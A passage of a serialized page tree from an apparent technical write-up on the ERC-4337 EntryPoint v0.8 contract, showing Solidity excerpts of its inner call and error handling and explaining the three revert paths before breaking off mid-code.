opIndex",{"type":25,"tag":271,"props":117803,"children":117804},{"style":13625},[117805],{"type":30,"value":14351},{"type":25,"tag":271,"props":117807,"children":117808},{"class":13593,"line":14354},[117809,117814,117818,117822],{"type":25,"tag":271,"props":117810,"children":117811},{"style":14289},[117812],{"type":30,"value":117813},"        PackedUserOperation",{"type":25,"tag":271,"props":117815,"children":117816},{"style":14289},[117817],{"type":30,"value":116106},{"type":25,"tag":271,"props":117819,"children":117820},{"style":13598},[117821],{"type":30,"value":116111},{"type":25,"tag":271,"props":117823,"children":117824},{"style":13625},[117825],{"type":30,"value":14351},{"type":25,"tag":271,"props":117827,"children":117828},{"class":13593,"line":14391},[117829,117834,117838],{"type":25,"tag":271,"props":117830,"children":117831},{"style":14289},[117832],{"type":30,"value":117833},"        UserOpInfo",{"type":25,"tag":271,"props":117835,"children":117836},{"style":14289},[117837],{"type":30,"value":116174},{"type":25,"tag":271,"props":117839,"children":117840},{"style":13598},[117841],{"type":30,"value":117842}," opInfo\n",{"type":25,"tag":271,"props":117844,"children":117845},{"class":13593,"line":14400},[117846],{"type":25,"tag":271,"props":117847,"children":117848},{"style":13625},[117849],{"type":30,"value":37029},{"type":25,"tag":271,"props":117851,"children":117852},{"class":13593,"line":16406},[117853,117858],{"type":25,"tag":271,"props":117854,"children":117855},{"style":14289},[117856],{"type":30,"value":117857},"    internal",{"type":25,"tag":271,"props":117859,"children":117860},{"style":14289},[117861],{"type":30,"value":117862}," virtual\n",{"type":25,"tag":271,"props":117864,"children":117865},{"class":13593,"line":16434},[117866,117870,117874,117878,117883],{"type":25,"tag":271,"props":117867,"children":117868},{"style":16171},[117869],{"type":30,"value":59624},{"type":25,"tag":271,"props":117871,"children":117872},{"style":13625},[117873],{"type":30,"value":16213},{"type":25,"tag":271,"props":117875,"children":117876},{"style":13609},[117877],{"type":30,"value":59283},{"type":25,"tag":271,"props":117879,"children":117880},{"style":13598},[117881],{"type":30,"value":117882}," collected",{"type":25,"tag":271,"props":117884,"children":117885},{"style":13625},[117886],{"type":30,"value":27925},{"type":25,"tag":271,"props":117888,"children":117889},{"class":13593,"line":16447},[117890],{"type":25,"tag":271,"props":117891,"children":117892},{"style":13625},[117893],{"type":30,"value":117894},"    [...]\n",{"type":25,"tag":271,"props":117896,"children":117897},{"class":13593,"line":16465},[117898,117903],{"type":25,"tag":271,"props":117899,"children":117900},{"style":13609},[117901],{"type":30,"value":117902},"        bool",{"type":25,"tag":271,"props":117904,"children":117905},{"style":13625},[117906],{"type":30,"value":117907}," success;\n",{"type":25,"tag":271,"props":117909,"children":117910},{"class":13593,"line":16486},[117911],{"type":25,"tag":271,"props":117912,"children":117913},{"style":13625},[117914],{"type":30,"value":44771},{"type":25,"tag":271,"props":117916,"children":117917},{"class":13593,"line":16495},[117918],{"type":25,"tag":271,"props":117919,"children":117920},{"style":13625},[117921],{"type":30,"value":117894},{"type":25,"tag":271,"props":117923,"children":117924},{"class":13593,"line":16744},[117925,117929,117934,117938],{"type":25,"tag":271,"props":117926,"children":117927},{"style":16171},[117928],{"type":30,"value":71916},{"type":25,"tag":271,"props":117930,"children":117931},{"style":13625},[117932],{"type":30,"value":117933}," (methodSig ",{"type":25,"tag":271,"props":117935,"children":117936},{"style":13603},[117937],{"type":30,"value":21696},{"type":25,"tag":271,"props":117939,"children":117940},{"style":13625},[117941],{"type":30,"value":117942}," IAccountExecute.executeUserOp.selector) {\n",{"type":25,"tag":271,"props":117944,"children":117945},{"class":13593,"line":16761},[117946,117951,117955,117960,117964,117968,117972,117977],{"type":25,"tag":271,"props":117947,"children":117948},{"style":13609},[117949],{"type":30,"value":117950},"                bytes",{"type":25,"tag":271,"props":117952,"children":117953},{"style":14289},[117954],{"type":30,"value":116174},{"type":25,"tag":271,"props":117956,"children":117957},{"style":13625},[117958],{"type":30,"value":117959}," executeUserOp ",{"type":25,"tag":271,"props":117961,"children":117962},{"style":13603},[117963],{"type":30,"value":1065},{"type":25,"tag":271,"props":117965,"children":117966},{"style":14289},[117967],{"type":30,"value":116771},{"type":25,"tag":271,"props":117969,"children":117970},{"style":13625},[117971],{"type":30,"value":1860},{"type":25,"tag":271,"props":117973,"children":117974},{"style":13620},[117975],{"type":30,"value":117976},"encodeCall",{"type":25,"tag":271,"props":117978,"children":117979},{"style":13625},[117980],{"type":30,"value":117981},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":25,"tag":271,"props":117983,"children":117984},{"class":13593,"line":16778},[117985,117990,117994,117998,118002,118006,118010,118014],{"type":25,"tag":271,"props":117986,"children":117987},{"style":13625},[117988],{"type":30,"value":117989},"                innerCall ",{"type":25,"tag":271,"props":117991,"children":117992},{"style":13603},[117993],{"type":30,"value":1065},{"type":25,"tag":271,"props":117995,"children":117996},{"style":14289},[117997],{"type":30,"value":116771},{"type":25,"tag":271,"props":117999,"children":118000},{"style":13625},[118001],{"type":30,"value":1860},{"type":25,"tag":271,"props":118003,"children":118004},{"style":13620},[118005],{"type":30,"value":117976},{"type":25,"tag":271,"props":118007,"children":118008},{"style":13625},[118009],{"type":30,"value":394},{"type":25,"tag":271,"props":118011,"children":118012},{"style":14289},[118013],{"type":30,"value":30815},{"type":25,"tag":271,"props":118015,"children":118016},{"style":13625},[118017],{"type":30,"value":118018},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":25,"tag":271,"props":118020,"children":118021},{"class":13593,"line":16791},[118022,118026],{"type":25,"tag":271,"props":118023,"children":118024},{"style":13625},[118025],{"type":30,"value":83708},{"type":25,"tag":271,"props":118027,"children":118028},{"style":16171},[118029],{"type":30,"value":118030},"else\n",{"type":25,"tag":271,"props":118032,"children":118033},{"class":13593,"line":16800},[118034],{"type":25,"tag":271,"props":118035,"children":118036},{"style":13625},[118037],{"type":30,"value":44807},{"type":25,"tag":271,"props":118039,"children":118040},{"class":13593,"line":16823},[118041,118045,118049,118053,118057,118061,118065,118069],{"type":25,"tag":271,"props":118042,"children":118043},{"style":13625},[118044],{"type":30,"value":117989},{"type":25,"tag":271,"props":118046,"children":118047},{"style":13603},[118048],{"type":30,"value":1065},{"type":25,"tag":271,"props":118050,"children":118051},{"style":14289},[118052],{"type":30,"value":116771},{"type":25,"tag":271,"props":118054,"children":118055},{"style":13625},[118056],{"type":30,"value":1860},{"type":25,"tag":271,"props":118058,"children":118059},{"style":13620},[118060],{"type":30,"value":117976},{"type":25,"tag":271,"props":118062,"children":118063},{"style":13625},[118064],{"type":30,"value":394},{"type":25,"tag":271,"props":118066,"children":118067},{"style":14289},[118068],{"type":30,"value":30815},{"type":25,"tag":271,"props":118070,"children":118071},{"style":13625},[118072],{"type":30,"value":118073},".innerHandleOp, (callData, opInfo, context));\n",{"type":25,"tag":271,"props":118075,"children":118076},{"class":13593,"line":16832},[118077],{"type":25,"tag":271,"props":118078,"children":118079},{"style":13625},[118080],{"type":30,"value":72000},{"type":25,"tag":271,"props":118082,"children":118083},{"class":13593,"line":16841},[118084,118089,118093,118098],{"type":25,"tag":271,"props":118085,"children":118086},{"style":13620},[118087],{"type":30,"value":118088},"            assembly",{"type":25,"tag":271,"props":118090,"children":118091},{"style":13625},[118092],{"type":30,"value":16213},{"type":25,"tag":271,"props":118094,"children":118095},{"style":17388},[118096],{"type":30,"value":118097},"\"memory-safe\"",{"type":25,"tag":271,"props":118099,"children":118100},{"style":13625},[118101],{"type":30,"value":27925},{"type":25,"tag":271,"props":118103,"children":118104},{"class":13593,"line":16907},[118105,118110,118114,118118,118122,118127,118131,118135,118139,118143,118147,118151,118156,118161,118165,118170,118175,118179,118183,118187],{"type":25,"tag":271,"props":118106,"children":118107},{"style":13625},[118108],{"type":30,"value":118109},"                success ",{"type":25,"tag":271,"props":118111,"children":118112},{"style":13603},[118113],{"type":30,"value":34723},{"type":25,"tag":271,"props":118115,"children":118116},{"style":13620},[118117],{"type":30,"value":54074},{"type":25,"tag":271,"props":118119,"children":118120},{"style":13625},[118121],{"type":30,"value":394},{"type":25,"tag":271,"props":118123,"children":118124},{"style":13620},[118125],{"type":30,"value":118126},"gas",{"type":25,"tag":271,"props":118128,"children":118129},{"style":13625},[118130],{"type":30,"value":31497},{"type":25,"tag":271,"props":118132,"children":118133},{"style":13609},[118134],{"type":30,"value":45753},{"type":25,"tag":271,"props":118136,"children":118137},{"style":13625},[118138],{"type":30,"value":31497},{"type":25,"tag":271,"props":118140,"children":118141},{"style":16187},[118142],{"type":30,"value":953},{"type":25,"tag":271,"props":118144,"children":118145},{"style":13625},[118146],{"type":30,"value":44},{"type":25,"tag":271,"props":118148,"children":118149},{"style":13620},[118150],{"type":30,"value":22761},{"type":25,"tag":271,"props":118152,"children":118153},{"style":13625},[118154],{"type":30,"value":118155},"(innerCall, ",{"type":25,"tag":271,"props":118157,"children":118158},{"style":16187},[118159],{"type":30,"value":118160},"0x20",{"type":25,"tag":271,"props":118162,"children":118163},{"style":13625},[118164],{"type":30,"value":28299},{"type":25,"tag":271,"props":118166,"children":118167},{"style":13620},[118168],{"type":30,"value":118169},"mload",{"type":25,"tag":271,"props":118171,"children":118172},{"style":13625},[118173],{"type":30,"value":118174},"(innerCall), ",{"type":25,"tag":271,"props":118176,"children":118177},{"style":16187},[118178],{"type":30,"value":953},{"type":25,"tag":271,"props":118180,"children":118181},{"style":13625},[118182],{"type":30,"value":44},{"type":25,"tag":271,"props":118184,"children":118185},{"style":16187},[118186],{"type":30,"value":73462},{"type":25,"tag":271,"props":118188,"children":118189},{"style":13625},[118190],{"type":30,"value":16299},{"type":25,"tag":271,"props":118192,"children":118193},{"class":13593,"line":16915},[118194,118199,118203,118208,118212,118216],{"type":25,"tag":271,"props":118195,"children":118196},{"style":13625},[118197],{"type":30,"value":118198},"                collected ",{"type":25,"tag":271,"props":118200,"children":118201},{"style":13603},[118202],{"type":30,"value":34723},{"type":25,"tag":271,"props":118204,"children":118205},{"style":13620},[118206],{"type":30,"value":118207}," mload",{"type":25,"tag":271,"props":118209,"children":118210},{"style":13625},[118211],{"type":30,"value":394},{"type":25,"tag":271,"props":118213,"children":118214},{"style":16187},[118215],{"type":30,"value":953},{"type":25,"tag":271,"props":118217,"children":118218},{"style":13625},[118219],{"type":30,"value":16299},{"type":25,"tag":271,"props":118221,"children":118222},{"class":13593,"line":16945},[118223],{"type":25,"tag":271,"props":118224,"children":118225},{"style":13625},[118226],{"type":30,"value":72000},{"type":25,"tag":271,"props":118228,"children":118229},{"class":13593,"line":16953},[118230,118235],{"type":25,"tag":271,"props":118231,"children":118232},{"style":13620},[118233],{"type":30,"value":118234},"            _restoreFreePtr",{"type":25,"tag":271,"props":118236,"children":118237},{"style":13625},[118238],{"type":30,"value":118239},"(saveFreePtr);\n",{"type":25,"tag":271,"props":118241,"children":118242},{"class":13593,"line":16984},[118243],{"type":25,"tag":271,"props":118244,"children":118245},{"style":13625},[118246],{"type":30,"value":16492},{"type":25,"tag":271,"props":118248,"children":118249},{"class":13593,"line":16992},[118250,118254,118258,118262],{"type":25,"tag":271,"props":118251,"children":118252},{"style":16171},[118253],{"type":30,"value":16412},{"type":25,"tag":271,"props":118255,"children":118256},{"style":13625},[118257],{"type":30,"value":16213},{"type":25,"tag":271,"props":118259,"children":118260},{"style":13603},[118261],{"type":30,"value":33742},{"type":25,"tag":271,"props":118263,"children":118264},{"style":13625},[118265],{"type":30,"value":118266},"success) {\n",{"type":25,"tag":271,"props":118268,"children":118269},{"class":13593,"line":17052},[118270],{"type":25,"tag":271,"props":118271,"children":118272},{"style":13625},[118273],{"type":30,"value":117894},{"type":25,"tag":271,"props":118275,"children":118276},{"class":13593,"line":22168},[118277,118281,118286,118290],{"type":25,"tag":271,"props":118278,"children":118279},{"style":16171},[118280],{"type":30,"value":71916},{"type":25,"tag":271,"props":118282,"children":118283},{"style":13625},[118284],{"type":30,"value":118285}," (innerRevertCode ",{"type":25,"tag":271,"props":118287,"children":118288},{"style":13603},[118289],{"type":30,"value":21696},{"type":25,"tag":271,"props":118291,"children":118292},{"style":13625},[118293],{"type":30,"value":118294}," INNER_OUT_OF_GAS) {\n",{"type":25,"tag":271,"props":118296,"children":118297},{"class":13593,"line":22186},[118298],{"type":25,"tag":271,"props":118299,"children":118300},{"style":14385},[118301],{"type":30,"value":118302},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":25,"tag":271,"props":118304,"children":118305},{"class":13593,"line":22231},[118306],{"type":25,"tag":271,"props":118307,"children":118308},{"style":14385},[118309],{"type":30,"value":118310},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":25,"tag":271,"props":118312,"children":118313},{"class":13593,"line":22337},[118314,118319,118324,118329,118334],{"type":25,"tag":271,"props":118315,"children":118316},{"style":16171},[118317],{"type":30,"value":118318},"                revert",{"type":25,"tag":271,"props":118320,"children":118321},{"style":13620},[118322],{"type":30,"value":118323}," FailedOp",{"type":25,"tag":271,"props":118325,"children":118326},{"style":13625},[118327],{"type":30,"value":118328},"(opIndex, ",{"type":25,"tag":271,"props":118330,"children":118331},{"style":17388},[118332],{"type":30,"value":118333},"\"AA95 out of gas\"",{"type":25,"tag":271,"props":118335,"children":118336},{"style":13625},[118337],{"type":30,"value":13665},{"type":25,"tag":271,"props":118339,"children":118340},{"class":13593,"line":36608},[118341,118345,118349,118353,118357,118361],{"type":25,"tag":271,"props":118342,"children":118343},{"style":13625},[118344],{"type":30,"value":83708},{"type":25,"tag":271,"props":118346,"children":118347},{"style":16171},[118348],{"type":30,"value":16458},{"type":25,"tag":271,"props":118350,"children":118351},{"style":16171},[118352],{"type":30,"value":28910},{"type":25,"tag":271,"props":118354,"children":118355},{"style":13625},[118356],{"type":30,"value":118285},{"type":25,"tag":271,"props":118358,"children":118359},{"style":13603},[118360],{"type":30,"value":21696},{"type":25,"tag":271,"props":118362,"children":118363},{"style":13625},[118364],{"type":30,"value":118365}," INNER_REVERT_LOW_PREFUND) {\n",{"type":25,"tag":271,"props":118367,"children":118368},{"class":13593,"line":36643},[118369],{"type":25,"tag":271,"props":118370,"children":118371},{"style":14385},[118372],{"type":30,"value":118373},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":25,"tag":271,"props":118375,"children":118376},{"class":13593,"line":36651},[118377,118381,118386,118390,118395,118399,118404,118408,118412],{"type":25,"tag":271,"props":118378,"children":118379},{"style":13609},[118380],{"type":30,"value":116554},{"type":25,"tag":271,"props":118382,"children":118383},{"style":13625},[118384],{"type":30,"value":118385}," actualGas ",{"type":25,"tag":271,"props":118387,"children":118388},{"style":13603},[118389],{"type":30,"value":1065},{"type":25,"tag":271,"props":118391,"children":118392},{"style":13625},[118393],{"type":30,"value":118394}," preGas ",{"type":25,"tag":271,"props":118396,"children":118397},{"style":13603},[118398],{"type":30,"value":17459},{"type":25,"tag":271,"props":118400,"children":118401},{"style":14289},[118402],{"type":30,"value":118403}," gasleft",{"type":25,"tag":271,"props":118405,"children":118406},{"style":13625},[118407],{"type":30,"value":27164},{"type":25,"tag":271,"props":118409,"children":118410},{"style":13603},[118411],{"type":30,"value":2074},{"type":25,"tag":271,"props":118413,"children":118414},{"style":13625},[118415],{"type":30,"value":118416}," opInfo.preOpGas;\n",{"type":25,"tag":271,"props":118418,"children":118419},{"class":13593,"line":36659},[118420,118424,118428,118432],{"type":25,"tag":271,"props":118421,"children":118422},{"style":13609},[118423],{"type":30,"value":116554},{"type":25,"tag":271,"props":118425,"children":118426},{"style":13625},[118427],{"type":30,"value":117201},{"type":25,"tag":271,"props":118429,"children":118430},{"style":13603},[118431],{"type":30,"value":1065},{"type":25,"tag":271,"props":118433,"children":118434},{"style":13625},[118435],{"type":30,"value":118436}," opInfo.prefund;\n",{"type":25,"tag":271,"props":118438,"children":118439},{"class":13593,"line":36668},[118440,118445],{"type":25,"tag":271,"props":118441,"children":118442},{"style":13620},[118443],{"type":30,"value":118444},"                _emitPrefundTooLow",{"type":25,"tag":271,"props":118446,"children":118447},{"style":13625},[118448],{"type":30,"value":118449},"(opInfo);\n",{"type":25,"tag":271,"props":118451,"children":118452},{"class":13593,"line":36710},[118453,118458,118463,118467],{"type":25,"tag":271,"props":118454,"children":118455},{"style":13620},[118456],{"type":30,"value":118457},"                _emitUserOperationEvent",{"type":25,"tag":271,"props":118459,"children":118460},{"style":13625},[118461],{"type":30,"value":118462},"(opInfo, ",{"type":25,"tag":271,"props":118464,"children":118465},{"style":14289},[118466],{"type":30,"value":21296},{"type":25,"tag":271,"props":118468,"children":118469},{"style":13625},[118470],{"type":30,"value":118471},", actualGasCost, actualGas);\n",{"type":25,"tag":271,"props":118473,"children":118474},{"class":13593,"line":36743},[118475,118479,118483],{"type":25,"tag":271,"props":118476,"children":118477},{"style":13625},[118478],{"type":30,"value":118198},{"type":25,"tag":271,"props":118480,"children":118481},{"style":13603},[118482],{"type":30,"value":1065},{"type":25,"tag":271,"props":118484,"children":118485},{"style":13625},[118486],{"type":30,"value":118487}," actualGasCost;\n",{"type":25,"tag":271,"props":118489,"children":118490},{"class":13593,"line":36751},[118491,118495,118499],{"type":25,"tag":271,"props":118492,"children":118493},{"style":13625},[118494],{"type":30,"value":83708},{"type":25,"tag":271,"props":118496,"children":118497},{"style":16171},[118498],{"type":30,"value":16458},{"type":25,"tag":271,"props":118500,"children":118501},{"style":13625},[118502],{"type":30,"value":16431},{"type":25,"tag":271,"props":118504,"children":118505},{"class":13593,"line":36759},[118506],{"type":25,"tag":271,"props":118507,"children":118508},{"style":13625},[118509],{"type":30,"value":117894},{"type":25,"tag":271,"props":118511,"children":118512},{"class":13593,"line":36768},[118513,118517,118521,118526],{"type":25,"tag":271,"props":118514,"children":118515},{"style":13625},[118516],{"type":30,"value":118198},{"type":25,"tag":271,"props":118518,"children":118519},{"style":13603},[118520],{"type":30,"value":1065},{"type":25,"tag":271,"props":118522,"children":118523},{"style":13620},[118524],{"type":30,"value":118525}," _postExecution",{"type":25,"tag":271,"props":118527,"children":118528},{"style":13625},[118529],{"type":30,"value":16609},{"type":25,"tag":271,"props":118531,"children":118532},{"class":13593,"line":36844},[118533],{"type":25,"tag":271,"props":118534,"children":118535},{"style":13625},[118536],{"type":30,"value":118537},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":25,"tag":271,"props":118539,"children":118540},{"class":13593,"line":36877},[118541],{"type":25,"tag":271,"props":118542,"children":118543},{"style":13625},[118544],{"type":30,"value":118545},"                    opInfo,\n",{"type":25,"tag":271,"props":118547,"children":118548},{"class":13593,"line":36885},[118549],{"type":25,"tag":271,"props":118550,"children":118551},{"style":13625},[118552],{"type":30,"value":118553},"                    context,\n",{"type":25,"tag":271,"props":118555,"children":118556},{"class":13593,"line":36893},[118557],{"type":25,"tag":271,"props":118558,"children":118559},{"style":13625},[118560],{"type":30,"value":118561},"                    actualGas\n",{"type":25,"tag":271,"props":118563,"children":118564},{"class":13593,"line":36930},[118565],{"type":25,"tag":271,"props":118566,"children":118567},{"style":13625},[118568],{"type":30,"value":118569},"                );\n",{"type":25,"tag":271,"props":118571,"children":118572},{"class":13593,"line":36943},[118573],{"type":25,"tag":271,"props":118574,"children":118575},{"style":13625},[118576],{"type":30,"value":72000},{"type":25,"tag":271,"props":118578,"children":118579},{"class":13593,"line":36956},[118580],{"type":25,"tag":271,"props":118581,"children":118582},{"style":13625},[118583],{"type":30,"value":16492},{"type":25,"tag":271,"props":118585,"children":118586},{"class":13593,"line":36969},[118587],{"type":25,"tag":271,"props":118588,"children":118589},{"style":13625},[118590],{"type":30,"value":16501},{"type":25,"tag":26,"props":118592,"children":118593},{},[118594,118596,118601,118603,118609,118611,118617,118619,118625],{"type":30,"value":118595},"During execution, the ",{"type":25,"tag":264,"props":118597,"children":118599},{"className":118598},[],[118600],{"type":30,"value":115357},{"type":30,"value":118602}," contract makes a ",{"type":25,"tag":83,"props":118604,"children":118607},{"href":118605,"rel":118606},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[9066],[118608],{"type":30,"value":51406},{"type":30,"value":118610}," to its own ",{"type":25,"tag":264,"props":118612,"children":118614},{"className":118613},[],[118615],{"type":30,"value":118616},"innerHandleOp",{"type":30,"value":118618}," function through a low-level ",{"type":25,"tag":264,"props":118620,"children":118622},{"className":118621},[],[118623],{"type":30,"value":118624},"call()",{"type":30,"value":118626},". This is done to create a new call context for executing the user operation.",{"type":25,"tag":26,"props":118628,"children":118629},{},[118630,118632,118638,118639,118644,118646,118653,118655,118661],{"type":30,"value":118631},"If this call fails (when ",{"type":25,"tag":264,"props":118633,"children":118635},{"className":118634},[],[118636],{"type":30,"value":118637},"success",{"type":30,"value":18632},{"type":25,"tag":264,"props":118640,"children":118642},{"className":118641},[],[118643],{"type":30,"value":21296},{"type":30,"value":118645},"), the code enters an ",{"type":25,"tag":83,"props":118647,"children":118650},{"href":118648,"rel":118649},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[9066],[118651],{"type":30,"value":118652},"error handling",{"type":30,"value":118654}," flow that checks the ",{"type":25,"tag":264,"props":118656,"children":118658},{"className":118657},[],[118659],{"type":30,"value":118660},"innerRevertCode",{"type":30,"value":118662},". There are three possible paths:",{"type":25,"tag":661,"props":118664,"children":118665},{},[118666,118690,118708],{"type":25,"tag":112,"props":118667,"children":118668},{},[118669,118670,118675,118676,118682,118684,118689],{"type":30,"value":7378},{"type":25,"tag":264,"props":118671,"children":118673},{"className":118672},[],[118674],{"type":30,"value":118660},{"type":30,"value":18632},{"type":25,"tag":264,"props":118677,"children":118679},{"className":118678},[],[118680],{"type":30,"value":118681},"INNER_OUT_OF_GAS",{"type":30,"value":118683},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":25,"tag":264,"props":118685,"children":118687},{"className":118686},[],[118688],{"type":30,"value":118333},{"type":30,"value":1860},{"type":25,"tag":112,"props":118691,"children":118692},{},[118693,118694,118699,118700,118706],{"type":30,"value":7378},{"type":25,"tag":264,"props":118695,"children":118697},{"className":118696},[],[118698],{"type":30,"value":118660},{"type":30,"value":18632},{"type":25,"tag":264,"props":118701,"children":118703},{"className":118702},[],[118704],{"type":30,"value":118705},"INNER_REVERT_LOW_PREFUND",{"type":30,"value":118707},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":25,"tag":112,"props":118709,"children":118710},{},[118711,118713,118719,118721,118727],{"type":30,"value":118712},"For any other revert reason, the code will still call ",{"type":25,"tag":264,"props":118714,"children":118716},{"className":118715},[],[118717],{"type":30,"value":118718},"_postExecution()",{"type":30,"value":118720}," but with ",{"type":25,"tag":264,"props":118722,"children":118724},{"className":118723},[],[118725],{"type":30,"value":118726},"PostOpMode.postOpReverted",{"type":30,"value":118728},". This ensures proper cleanup happens even on failure.",{"type":25,"tag":26,"props":118730,"children":118731},{},[118732,118734,118739,118741,118746,118748,118753,118755,118760],{"type":30,"value":118733},"We're particularly interested in the third error path, where ",{"type":25,"tag":264,"props":118735,"children":118737},{"className":118736},[],[118738],{"type":30,"value":118660},{"type":30,"value":118740}," is neither ",{"type":25,"tag":264,"props":118742,"children":118744},{"className":118743},[],[118745],{"type":30,"value":118681},{"type":30,"value":118747}," nor ",{"type":25,"tag":264,"props":118749,"children":118751},{"className":118750},[],[118752],{"type":30,"value":118705},{"type":30,"value":118754},". To understand this case better, let's examine how ",{"type":25,"tag":264,"props":118756,"children":118758},{"className":118757},[],[118759],{"type":30,"value":118616},{"type":30,"value":118761}," works.",{"type":25,"tag":7764,"props":118763,"children":118765},{"className":17606,"code":118764,"language":17605,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[118766],{"type":25,"tag":264,"props":118767,"children":118768},{"__ignoreMap":7},[118769,118785,118806,118826,118842,118875,118882,118899,118923,118963,118982,119007,119041,119065,119082,119090,119098,119106,119114,119122,119129,119142,119159,119166,119173,119180,119191,119230,119246,119253],{"type":25,"tag":271,"props":118770,"children":118771},{"class":13593,"line":13594},[118772,118776,118781],{"type":25,"tag":271,"props":118773,"children":118774},{"style":14289},[118775],{"type":30,"value":102943},{"type":25,"tag":271,"props":118777,"children":118778},{"style":13620},[118779],{"type":30,"value":118780}," innerHandleOp",{"type":25,"tag":271,"props":118782,"children":118783},{"style":13625},[118784],{"type":30,"value":16609},{"type":25,"tag":271,"props":118786,"children":118787},{"class":13593,"line":11641},[118788,118793,118797,118802],{"type":25,"tag":271,"props":118789,"children":118790},{"style":13609},[118791],{"type":30,"value":118792},"        bytes",{"type":25,"tag":271,"props":118794,"children":118795},{"style":14289},[118796],{"type":30,"value":116174},{"type":25,"tag":271,"props":118798,"children":118799},{"style":13598},[118800],{"type":30,"value":118801}," callData",{"type":25,"tag":271,"props":118803,"children":118804},{"style":13625},[118805],{"type":30,"value":14351},{"type":25,"tag":271,"props":118807,"children":118808},{"class":13593,"line":14354},[118809,118813,118817,118822],{"type":25,"tag":271,"props":118810,"children":118811},{"style":14289},[118812],{"type":30,"value":117833},{"type":25,"tag":271,"props":118814,"children":118815},{"style":14289},[118816],{"type":30,"value":116174},{"type":25,"tag":271,"props":118818,"children":118819},{"style":13598},[118820],{"type":30,"value":118821}," opInfo",{"type":25,"tag":271,"props":118823,"children":118824},{"style":13625},[118825],{"type":30,"value":14351},{"type":25,"tag":271,"props":118827,"children":118828},{"class":13593,"line":14391},[118829,118833,118837],{"type":25,"tag":271,"props":118830,"children":118831},{"style":13609},[118832],{"type":30,"value":118792},{"type":25,"tag":271,"props":118834,"children":118835},{"style":14289},[118836],{"type":30,"value":116106},{"type":25,"tag":271,"props":118838,"children":118839},{"style":13598},[118840],{"type":30,"value":118841}," context\n",{"type":25,"tag":271,"props":118843,"children":118844},{"class":13593,"line":14400},[118845,118850,118855,118859,118863,118867,118871],{"type":25,"tag":271,"props":118846,"children":118847},{"style":13625},[118848],{"type":30,"value":118849},"    ) ",{"type":25,"tag":271,"props":118851,"children":118852},{"style":14289},[118853],{"type":30,"value":118854},"external",{"type":25,"tag":271,"props":118856,"children":118857},{"style":16171},[118858],{"type":30,"value":89109},{"type":25,"tag":271,"props":118860,"children":118861},{"style":13625},[118862],{"type":30,"value":16213},{"type":25,"tag":271,"props":118864,"children":118865},{"style":13609},[118866],{"type":30,"value":59283},{"type":25,"tag":271,"props":118868,"children":118869},{"style":13598},[118870],{"type":30,"value":116915},{"type":25,"tag":271,"props":118872,"children":118873},{"style":13625},[118874],{"type":30,"value":27925},{"type":25,"tag":271,"props":118876,"children":118877},{"class":13593,"line":16406},[118878],{"type":25,"tag":271,"props":118879,"children":118880},{"style":13625},[118881],{"type":30,"value":117894},{"type":25,"tag":271,"props":118883,"children":118884},{"class":13593,"line":16434},[118885,118890,118894],{"type":25,"tag":271,"props":118886,"children":118887},{"style":13625},[118888],{"type":30,"value":118889},"        IPaymaster.PostOpMode mode ",{"type":25,"tag":271,"props":118891,"children":118892},{"style":13603},[118893],{"type":30,"value":1065},{"type":25,"tag":271,"props":118895,"children":118896},{"style":13625},[118897],{"type":30,"value":118898}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":25,"tag":271,"props":118900,"children":118901},{"class":13593,"line":16447},[118902,118906,118911,118915,118919],{"type":25,"tag":271,"props":118903,"children":118904},{"style":16171},[118905],{"type":30,"value":16412},{"type":25,"tag":271,"props":118907,"children":118908},{"style":13625},[118909],{"type":30,"value":118910}," (callData.length ",{"type":25,"tag":271,"props":118912,"children":118913},{"style":13603},[118914],{"type":30,"value":23586},{"type":25,"tag":271,"props":118916,"children":118917},{"style":16187},[118918],{"type":30,"value":16190},{"type":25,"tag":271,"props":118920,"children":118921},{"style":13625},[118922],{"type":30,"value":27925},{"type":25,"tag":271,"props":118924,"children":118925},{"class":13593,"line":16465},[118926,118931,118936,118940,118945,118949,118954,118958],{"type":25,"tag":271,"props":118927,"children":118928},{"style":13609},[118929],{"type":30,"value":118930},"            bool",{"type":25,"tag":271,"props":118932,"children":118933},{"style":13625},[118934],{"type":30,"value":118935}," success ",{"type":25,"tag":271,"props":118937,"children":118938},{"style":13603},[118939],{"type":30,"value":1065},{"type":25,"tag":271,"props":118941,"children":118942},{"style":13625},[118943],{"type":30,"value":118944}," Exec.",{"type":25,"tag":271,"props":118946,"children":118947},{"style":13620},[118948],{"type":30,"value":51406},{"type":25,"tag":271,"props":118950,"children":118951},{"style":13625},[118952],{"type":30,"value":118953},"(mUserOp.sender, ",{"type":25,"tag":271,"props":118955,"children":118956},{"style":16187},[118957],{"type":30,"value":953},{"type":25,"tag":271,"props":118959,"children":118960},{"style":13625},[118961],{"type":30,"value":118962},", callData, 